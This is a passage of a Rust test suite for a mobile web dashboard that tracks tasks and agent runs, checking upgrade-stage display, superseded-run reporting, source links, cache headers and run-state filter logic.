19762 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
19763 for stage in ["downloading", "replaced", "parking", "restarting"] {
19764 assert!(
19765 APP_JS.contains(&format!("\"{stage}\"")),
19766 "the phone must be able to tell {stage} apart from the others"
19767 );
19768 }
19769 assert!(APP_JS.contains(".waiting_on"));
19770 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
19775 assert!(APP_JS.contains("reconnects on its own"));
19776 }
19777
19778 #[test]
19779 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
19780 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
19789 ..APP_JS.find("function upgrade(").expect("upgrade")];
19790 assert!(
19791 !body.contains(
19792 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
19793 ),
19794 "a failed upgrade must not take the whole strip over the way it used to"
19795 );
19796 assert!(
19797 body.contains("upgradeFailNote"),
19798 "the failure has to reach the loop's own note instead"
19799 );
19800 assert_eq!(
19804 body.matches("upgradeFailNote].filter(Boolean).join")
19805 .count(),
19806 2,
19807 "both loop-why writers (quiet and control) must fold the note in"
19808 );
19809 }
19810
19811 #[test]
19812 fn an_overdue_upgrade_eventually_asks_for_a_human() {
19813 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
19816 assert!(APP_JS.contains("function upgradeOverdue("));
19817 }
19818
19819 #[test]
19820 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
19821 assert!(
19822 APP_JS.contains("Updated to ${upgradeInfo.to"),
19823 "the operator who asked for the restart wants to know it worked"
19824 );
19825 }
19826
19827 #[test]
19828 fn an_error_is_visible_from_where_the_button_is() {
19829 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
19834 ..APP_CSS.find(".alert-text").expect(".alert-text")];
19835 assert!(
19836 alert.contains("position: fixed"),
19837 "an error about the thing under your thumb has to be visible from \
19838 where your thumb is: {alert}"
19839 );
19840 assert!(
19841 alert.contains("z-index: 25"),
19842 "above the dock (20) and the run-actions FAB (15), so neither \
19843 buries it: {alert}"
19844 );
19845 assert!(
19846 alert.contains("var(--tap)"),
19847 "and clear of the dock and the home indicator: {alert}"
19848 );
19849 assert!(
19852 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
19853 "the FAB's column stays free: {alert}"
19854 );
19855 }
19856
19857 #[tokio::test]
19858 async fn an_older_attempt_says_what_replaced_it() {
19859 let fx = Fixture::start().await;
19860 let q = fx.queue();
19861 let runs = fx.runs();
19862 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
19863 write_run(&runs, first, RunStatus::Stalled);
19864 write_run(&runs, second, RunStatus::Blocked);
19865
19866 let mut t = Task::new(
19867 "one task".to_owned(),
19868 "do it".to_owned(),
19869 PathBuf::from("/repo"),
19870 Source::Human,
19871 );
19872 t.runs = vec![first.to_owned(), second.to_owned()];
19873 q.put(&mut t).expect("put");
19874
19875 let rows = fx.get("/api/runs").await.json();
19879 let by = |short: &str| -> Value {
19880 rows.as_array()
19881 .unwrap()
19882 .iter()
19883 .find(|r| r["short"] == short)
19884 .cloned()
19885 .unwrap_or(Value::Null)
19886 };
19887 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
19888 assert!(
19889 by("bbbb")["superseded_by"].is_null(),
19890 "the latest attempt is not superseded by anything"
19891 );
19892 assert!(APP_JS.contains("run.superseded_by"));
19894 assert!(APP_JS.contains("Superseded by"));
19895 }
19896
19897 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
19898 let mut t = Task::new(
19899 "one task".to_owned(),
19900 "do it".to_owned(),
19901 PathBuf::from("/repo"),
19902 Source::Human,
19903 );
19904 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
19905 t.status = status;
19906 t
19907 }
19908
19909 #[test]
19910 fn source_link_picks_the_page_that_filed_the_task() {
19911 let agent = |node: &str| Source::Agent {
19912 run: "20260904-014455-ab12".to_owned(),
19913 node: node.to_owned(),
19914 };
19915 let chat = source_link(&agent("chat")).expect("chat link");
19916 assert_eq!(chat.kind, "chat");
19917 assert_eq!(chat.id, "20260904-014455-ab12");
19918 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
19919 let run = source_link(&agent("implement")).expect("run link");
19920 assert_eq!(
19921 (run.kind, run.href.as_str()),
19922 ("run", "#/runs/20260904-014455-ab12")
19923 );
19924 assert_eq!(source_link(&Source::Human), None);
19925 assert_eq!(
19926 source_link(&Source::Issue {
19927 number: 3,
19928 repo: "o/r".to_owned()
19929 }),
19930 None
19931 );
19932 let odd = source_link(&Source::Agent {
19933 run: "a b/c".to_owned(),
19934 node: "chat".to_owned(),
19935 })
19936 .expect("link");
19937 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
19938 }
19939
19940 #[test]
19941 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
19942 assert!(
19943 !APP_JS.contains("src.node === \"chat\""),
19944 "inline href rule is back"
19945 );
19946 assert!(
19947 APP_JS.matches("sourceLinkOf(").count() >= 4,
19948 "helper must serve every page"
19949 );
19950 assert!(
19951 APP_JS.matches("openChatLink(").count() >= 3,
19952 "the run page still needs its explicit chat link"
19953 );
19954 assert!(
19955 !APP_JS.contains("const openChat = el("),
19956 "the Queue card duplicates its source label link again"
19957 );
19958 assert!(
19959 APP_JS.contains("metaKids.push(link ? el(\"a\""),
19960 "the task page must link a chat source label too"
19961 );
19962 }
19963
19964 #[test]
19965 fn task_ref_carries_the_source_link_for_a_chat_task() {
19966 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
19967 t.source = Source::Agent {
19968 run: "20260904-014455-ab12".to_owned(),
19969 node: "chat".to_owned(),
19970 };
19971 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
19972 let v = serde_json::to_value(&out).expect("json");
19973 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
19974 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
19975 assert_eq!(v["source_label"], t.source.label());
19976
19977 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
19978 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
19979 .expect("json");
19980 assert!(v["source_link"].is_null(), "{v}");
19981 }
19982
19983 #[test]
19984 fn task_view_serializes_source_link() {
19985 let mut t = Task::new(
19986 "t".to_owned(),
19987 "t".to_owned(),
19988 PathBuf::from("/repo"),
19989 Source::Agent {
19990 run: "20260901-000000-aaaa".to_owned(),
19991 node: "implement".to_owned(),
19992 },
19993 );
19994 t.runs.clear();
19995 let v = serde_json::to_value(TaskView::from(t)).expect("json");
19996 assert_eq!(v["source_link"]["kind"], "run", "{v}");
19997 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
19998 }
19999
20000 #[test]
20001 fn task_view_serializes_urgent_flag() {
20002 let mut t = Task::new(
20003 "t".to_owned(),
20004 "t".to_owned(),
20005 PathBuf::from("/repo"),
20006 Source::Human,
20007 );
20008 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
20009 assert_eq!(v["urgent"], false, "{v}");
20010 t.urgent = true;
20011 let v = serde_json::to_value(TaskView::from(t)).expect("json");
20012 assert_eq!(v["urgent"], true, "{v}");
20013 assert!(APP_JS.contains("task.urgent === true"));
20014 }
20015
20016 #[tokio::test]
20017 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
20018 let fx = Fixture::start().await;
20019 let runs = fx.runs();
20020 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
20021 write_run(&runs, old, RunStatus::Blocked);
20022 write_run(&runs, new, RunStatus::Merged);
20023 let mut t = outcome_task(&[old, new], TaskStatus::Done);
20024 fx.queue().put(&mut t).expect("put");
20025
20026 let view = fx.get(&format!("/api/runs/{old}")).await.json();
20027 let task = &view["task"];
20028 assert_eq!(task["status"], "done");
20029 assert_eq!(task["is_latest"], false);
20030 assert_eq!(task["latest"]["short"], "bbbb");
20031 assert_eq!(task["finished_by"]["id"], new);
20032 assert_eq!(task["finished_by"]["outcome"], "merged");
20033 assert_eq!(task["closed_by_hand"], false);
20034 assert_eq!(view["status"], "blocked", "the run keeps its own status");
20035 assert!(APP_JS.contains("finished_by"));
20036 assert!(APP_JS.contains("superseded by run"));
20037 }
20038
20039 #[tokio::test]
20040 async fn the_latest_run_reports_a_held_task_without_a_successor() {
20041 let fx = Fixture::start().await;
20042 let runs = fx.runs();
20043 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
20044 write_run(&runs, old, RunStatus::Stalled);
20045 write_run(&runs, new, RunStatus::Blocked);
20046 let mut t = outcome_task(&[old, new], TaskStatus::Held);
20047 fx.queue().put(&mut t).expect("put");
20048
20049 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
20050 assert_eq!(task["status"], "held");
20051 assert_eq!(task["is_latest"], true);
20052 assert!(task["latest"].is_null());
20053 assert!(task["finished_by"].is_null());
20054 assert_eq!(task["closed_by_hand"], false);
20055 }
20056
20057 #[tokio::test]
20058 async fn a_direct_run_has_no_task_outcome() {
20059 let fx = Fixture::start().await;
20060 let runs = fx.runs();
20061 let id = "20260901-000000-aaaa";
20062 write_run(&runs, id, RunStatus::Blocked);
20063 let view = fx.get(&format!("/api/runs/{id}")).await.json();
20064 assert!(view["task"].is_null());
20065 }
20066
20067 #[test]
20068 fn task_outcome_does_not_guess_a_finishing_run() {
20069 let a = "20260901-000000-aaaa";
20070 let b = "20260901-000000-bbbb";
20071 let c = "20260901-000000-cccc";
20072 let dir = tempfile::tempdir().expect("tempdir");
20073 write_run(dir.path(), a, RunStatus::Blocked);
20074 write_run(dir.path(), b, RunStatus::VerifiedNoop);
20075 let read = |id: &str| read_run(dir.path(), id).ok();
20077 let t = outcome_task(&[a, b, c], TaskStatus::Done);
20080 let out = task_outcome(&t, a, 3, read);
20081 assert!(out.finished_by.is_none());
20082 assert!(out.closed_by_hand);
20083 let latest = out.latest.expect("latest");
20084 assert_eq!(latest.id, c);
20085 assert_eq!(latest.status, None);
20086 assert_eq!(latest.outcome, "record unreadable");
20087
20088 write_run(dir.path(), c, RunStatus::Ready);
20090 let t = outcome_task(&[a, c], TaskStatus::Done);
20091 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
20092 assert_eq!(out.finished_by.expect("finisher").id, c);
20093 assert!(!out.closed_by_hand);
20094
20095 let t = outcome_task(&[a, b, a], TaskStatus::Held);
20097 assert!(task_outcome(&t, a, 3, read).is_latest);
20098 }
20099
20100 #[tokio::test]
20101 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
20102 let fx = Fixture::start().await;
20107 let q = fx.queue();
20108 let runs = fx.runs();
20109 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
20110 write_run(&runs, first, RunStatus::Blocked);
20111 write_run(&runs, second, RunStatus::Merged);
20112
20113 let mut t = Task::new(
20114 "one task".to_owned(),
20115 "do it".to_owned(),
20116 PathBuf::from("/repo"),
20117 Source::Human,
20118 );
20119 t.runs = vec![first.to_owned(), second.to_owned()];
20120 q.put(&mut t).expect("put");
20121
20122 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
20123 assert_eq!(earlier["superseded_by"], "dddd");
20124 assert_eq!(earlier["latest_attempt"]["id"], second);
20125 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
20126 assert_eq!(
20127 earlier["latest_attempt"]["resolved"], true,
20128 "the run that replaced it landed, so this one reads as settled"
20129 );
20130
20131 let later = fx.get(&format!("/api/runs/{second}")).await.json();
20132 assert!(
20133 later["superseded_by"].is_null(),
20134 "the latest attempt is not superseded by anything"
20135 );
20136 assert!(
20137 later["latest_attempt"].is_null(),
20138 "the latest attempt has no later attempt of its own"
20139 );
20140
20141 assert!(APP_JS.contains("run.latest_attempt"));
20148 assert!(APP_JS.contains("data-superseded"));
20149 assert!(APP_JS.contains("#/runs/${latest.id}"));
20150 }
20151
20152 #[tokio::test]
20153 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
20154 let fx = Fixture::start().await;
20160 let q = fx.queue();
20161 let runs = fx.runs();
20162 let (a, b, c) = (
20163 "20260901-000000-aaaa",
20164 "20260901-000000-bbbb",
20165 "20260901-000000-cccc",
20166 );
20167 write_run(&runs, a, RunStatus::Blocked);
20168 write_run(&runs, b, RunStatus::Blocked);
20169 write_run(&runs, c, RunStatus::Merged);
20170
20171 let mut t = Task::new(
20172 "retried twice".to_owned(),
20173 "do it".to_owned(),
20174 PathBuf::from("/repo"),
20175 Source::Human,
20176 );
20177 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
20178 q.put(&mut t).expect("put");
20179
20180 let view = fx.get(&format!("/api/runs/{a}")).await.json();
20181 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
20182 assert_eq!(
20183 view["latest_attempt"]["id"], c,
20184 "the chain's current head, not the intermediate Blocked retry"
20185 );
20186 assert_eq!(view["latest_attempt"]["resolved"], true);
20187
20188 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
20189 assert_eq!(mid["latest_attempt"]["id"], c);
20190 assert_eq!(mid["latest_attempt"]["resolved"], true);
20191 }
20192
20193 #[tokio::test]
20194 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
20195 let fx = Fixture::start().await;
20196 let q = fx.queue();
20197 let runs = fx.runs();
20198
20199 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
20202 write_run(&runs, still_blocked_a, RunStatus::Blocked);
20203 write_run(&runs, still_blocked_b, RunStatus::Blocked);
20204 let mut t1 = Task::new(
20205 "still stuck".to_owned(),
20206 "do it".to_owned(),
20207 PathBuf::from("/repo"),
20208 Source::Human,
20209 );
20210 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
20211 q.put(&mut t1).expect("put");
20212 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
20213 assert_eq!(view1["latest_attempt"]["resolved"], false);
20214 assert_eq!(view1["latest_attempt"]["status"], "blocked");
20215 assert_eq!(view1["latest_attempt"]["done"], true);
20216
20217 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
20219 write_run(&runs, run_a, RunStatus::Blocked);
20220 write_run(&runs, run_b, RunStatus::Implementing);
20221 let mut t3 = Task::new(
20222 "retrying".to_owned(),
20223 "do it".to_owned(),
20224 PathBuf::from("/repo"),
20225 Source::Human,
20226 );
20227 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
20228 q.put(&mut t3).expect("put");
20229 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
20230 assert_eq!(view3["latest_attempt"]["id"], run_b);
20231 assert_eq!(view3["latest_attempt"]["resolved"], false);
20232 assert_eq!(view3["latest_attempt"]["done"], false);
20233
20234 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
20239 write_run(&runs, noop_a, RunStatus::Blocked);
20240 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
20241 let mut t2 = Task::new(
20242 "claims done".to_owned(),
20243 "do it".to_owned(),
20244 PathBuf::from("/repo"),
20245 Source::Human,
20246 );
20247 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
20248 q.put(&mut t2).expect("put");
20249 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
20250 assert_eq!(
20251 view2["latest_attempt"]["resolved"], false,
20252 "an unverified no-op claim must not read as a confirmed finish"
20253 );
20254
20255 assert!(APP_JS.contains("latest.resolved"));
20258 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
20261 assert!(APP_JS.contains("Latest attempt: "));
20262 assert!(APP_JS.contains("in flight"));
20263 assert!(APP_JS.contains("not resolved"));
20264 }
20265
20266 #[tokio::test]
20267 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
20268 let fx = Fixture::start().await;
20269 let js = fx.get("/app.js").await;
20275 assert_eq!(js.status, 200);
20276 let tag = js
20277 .header("etag")
20278 .expect("an etag to revalidate against")
20279 .to_owned();
20280 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
20281 assert_eq!(
20282 js.header("cache-control"),
20283 Some("no-cache, must-revalidate"),
20284 "the phone has to ask every time"
20285 );
20286
20287 let again = fx
20290 .get_with("/app.js", &[("if-none-match", tag.as_str())])
20291 .await;
20292 assert_eq!(
20293 again.status, 304,
20294 "a deck it already has costs one round trip"
20295 );
20296 assert!(again.body.is_empty(), "304 carries no body");
20297
20298 let weak = fx
20301 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
20302 .await;
20303 assert_eq!(weak.status, 304);
20304 let stale = fx
20305 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
20306 .await;
20307 assert_eq!(stale.status, 200, "an older build must be replaced");
20308 assert!(stale.body.contains("renderRunActions"));
20309 }
20310
20311 #[test]
20312 fn the_task_detail_has_an_actions_fab_and_sheet() {
20313 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
20314 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
20315 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
20316 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
20318 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
20319 assert!(APP_JS.contains("renderTaskActions(task);"));
20321 assert!(APP_JS.contains("renderTaskActions(null);"));
20322 let sheet = APP_JS
20324 .find("function renderTaskActions")
20325 .expect("sheet renderer");
20326 let body = &APP_JS[sheet..sheet + 3000];
20327 assert!(body.contains("changePriority("));
20328 assert!(body.contains("openTaskEdit(task)"));
20329 assert!(body.contains("renderTaskHoldBox(host"));
20330 assert!(body.contains("renderTaskDoneBox(host"));
20331 assert!(body.contains("renderTaskDeleteBox(host"));
20332 assert!(APP_JS.contains("API.priority(id)"));
20333 assert!(APP_JS.contains("API.deleteTask(id)"));
20334 assert!(APP_JS.contains("location.hash = \"#/queue\""));
20336 assert!(APP_JS.contains("$(\"task-actions-error\")"));
20338 }
20339
20340 #[test]
20341 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
20342 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
20343 let actions = INDEX_HTML
20344 .find("id=\"run-actions-box\"")
20345 .expect("actions box");
20346 assert!(task < actions, "the task entry comes first in the sheet");
20347 assert!(APP_JS.contains("renderRunTaskEntry"));
20348 assert!(APP_JS.contains("\"Open task \""));
20349 assert!(APP_JS.contains("started directly, no task"));
20351 assert!(APP_JS.contains("sheet-task-link"));
20352 assert!(APP_JS.contains("task-chip-link"));
20353 }
20354
20355 #[test]
20356 fn the_deck_never_sends_the_operator_to_a_terminal() {
20357 assert!(
20360 !APP_JS.contains("Run `magi fold` first"),
20361 "the deck must offer the fold, not prescribe a shell command"
20362 );
20363 assert!(APP_JS.contains("foldRun:"));
20364 assert!(APP_JS.contains("resumeRun:"));
20365 assert!(APP_JS.contains("renderRunActions"));
20366
20367 assert!(APP_JS.contains("armedFold"));
20369 assert!(APP_JS.contains("Yes, fold worktrees"));
20370
20371 assert!(APP_JS.contains("can no longer be resumed"));
20374 }
20375
20376 #[test]
20377 fn a_finished_run_explains_itself_with_its_own_last_line() {
20378 assert!(
20384 !APP_JS.contains("collapsed on agent quota"),
20385 "a stall must not be explained by a cause the deck did not check"
20386 );
20387 assert!(
20388 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
20389 "and a block must not offer a guess with an `or` in it"
20390 );
20391
20392 assert!(
20396 APP_JS.contains("setText(r.event, run.event || \"\")"),
20397 "the run's last line is rendered unconditionally"
20398 );
20399 assert!(
20400 !APP_JS.contains("moving && run.event"),
20401 "and never gated on the run still moving"
20402 );
20403
20404 assert!(APP_JS.contains("lost to quota"));
20406 }
20407
20408 #[test]
20430 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
20431 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
20432 let shapes_body_start =
20433 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
20434 let shapes_close = APP_JS[shapes_body_start..]
20435 .find("].map(")
20436 .expect("the shape list is closed by its done-computing .map(...)")
20437 + shapes_body_start;
20438 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
20439
20440 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
20441 for entry in shapes_src.split('{').skip(1) {
20442 let waiting = entry.contains("waiting: true");
20443 let dead = entry.contains("live: \"dead\"");
20444 let status_at =
20445 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
20446 let status_end = entry[status_at..]
20447 .find('"')
20448 .expect("the status string is closed")
20449 + status_at;
20450 let parked = entry.contains("display_status: \"parked\"");
20451 shapes.push((
20452 waiting,
20453 entry[status_at..status_end].to_string(),
20454 dead,
20455 parked,
20456 ));
20457 }
20458 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
20459
20460 let done_rule_marker = "done: !";
20464 let done_rule_at = APP_JS[shapes_close..]
20465 .find(done_rule_marker)
20466 .expect("the done rule follows the shape list")
20467 + shapes_close
20468 + done_rule_marker.len();
20469 let includes_at = APP_JS[done_rule_at..]
20470 .find(".includes(shape.status)")
20471 .expect("the done rule ends in .includes(shape.status)")
20472 + done_rule_at;
20473 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
20474 .trim()
20475 .trim_start_matches('[')
20476 .trim_end_matches(']')
20477 .split(',')
20478 .map(|s| s.trim().trim_matches('"'))
20479 .filter(|s| !s.is_empty())
20480 .collect();
20481
20482 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
20483 .into_iter()
20484 .map(|(waiting, status, dead, parked)| {
20485 let done = !not_done.contains(&status.as_str());
20486 (waiting, status, dead, parked, done)
20487 })
20488 .collect();
20489
20490 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
20494 if waiting {
20495 return "waiting";
20496 }
20497 if dead
20498 && !parked
20499 && !matches!(
20500 status,
20501 "merged"
20502 | "ready"
20503 | "stalled"
20504 | "blocked"
20505 | "failed"
20506 | "verified_noop"
20507 | "superseded"
20508 | "already_in_base"
20509 )
20510 {
20511 return "stale";
20512 }
20513 match status {
20514 "merged" | "ready" => "landed",
20515 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
20516 | "already_in_base" => "ended",
20517 _ => "flight",
20518 }
20519 }
20520
20521 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
20524 match filter_key {
20525 "active" => !done,
20526 "flight" => !done && !waiting && !dead,
20527 "stale" => !done && !waiting && dead,
20528 "waiting" => waiting,
20529 "done" => done,
20530 "all" => true,
20531 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
20532 }
20533 }
20534
20535 let compatible = |section: &str, filter_key: &str| {
20536 shapes.iter().any(|(waiting, status, dead, parked, done)| {
20537 run_section(*waiting, status, *dead, *parked) == section
20538 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
20539 })
20540 };
20541
20542 let expected = [
20547 ("waiting", [true, false, false, true, true, true]),
20548 ("stale", [true, false, true, false, false, true]),
20549 ("flight", [true, true, false, false, false, true]),
20550 ("landed", [false, false, false, false, true, true]),
20551 ("ended", [false, false, false, false, true, true]),
20552 ];
20553 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
20554
20555 for (section, wants) in expected {
20556 for (filter_key, want) in filter_keys.iter().zip(wants) {
20557 assert_eq!(
20558 compatible(section, filter_key),
20559 want,
20560 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
20561 );
20562 }
20563 }
20564
20565 assert!(
20568 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
20569 );
20570 assert!(APP_JS.contains(
20571 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
20572 ));
20573 assert!(APP_JS.contains(
20574 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
20575 ));
20576 }
20577
20578 #[tokio::test]
20579 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
20580 let dir = tempfile::tempdir().expect("tempdir");
20584 let explicit = dir.path().join("not-a-checkout");
20585 std::fs::create_dir_all(&explicit).expect("create dir");
20586 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
20587
20588 let missing = dir.path().join("does-not-exist-at-all");
20589 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
20590 }
20591
20592 #[test]
20593 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
20594 assert!(APP_JS.contains("function statsDonutArcs"));
20595 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
20596 assert!(APP_JS.contains("function statusInBucket"));
20598 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
20599 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
20600 let buckets = [
20601 "merged",
20602 "ready",
20603 "in_progress",
20604 "blocked",
20605 "failed",
20606 "verified_noop",
20607 "superseded",
20608 "stalled",
20609 ];
20610 for key in buckets {
20611 let var = format!("--verdict-{key}:");
20612 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
20614 assert!(
20615 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
20616 "{key}"
20617 );
20618 }
20619 }
20620}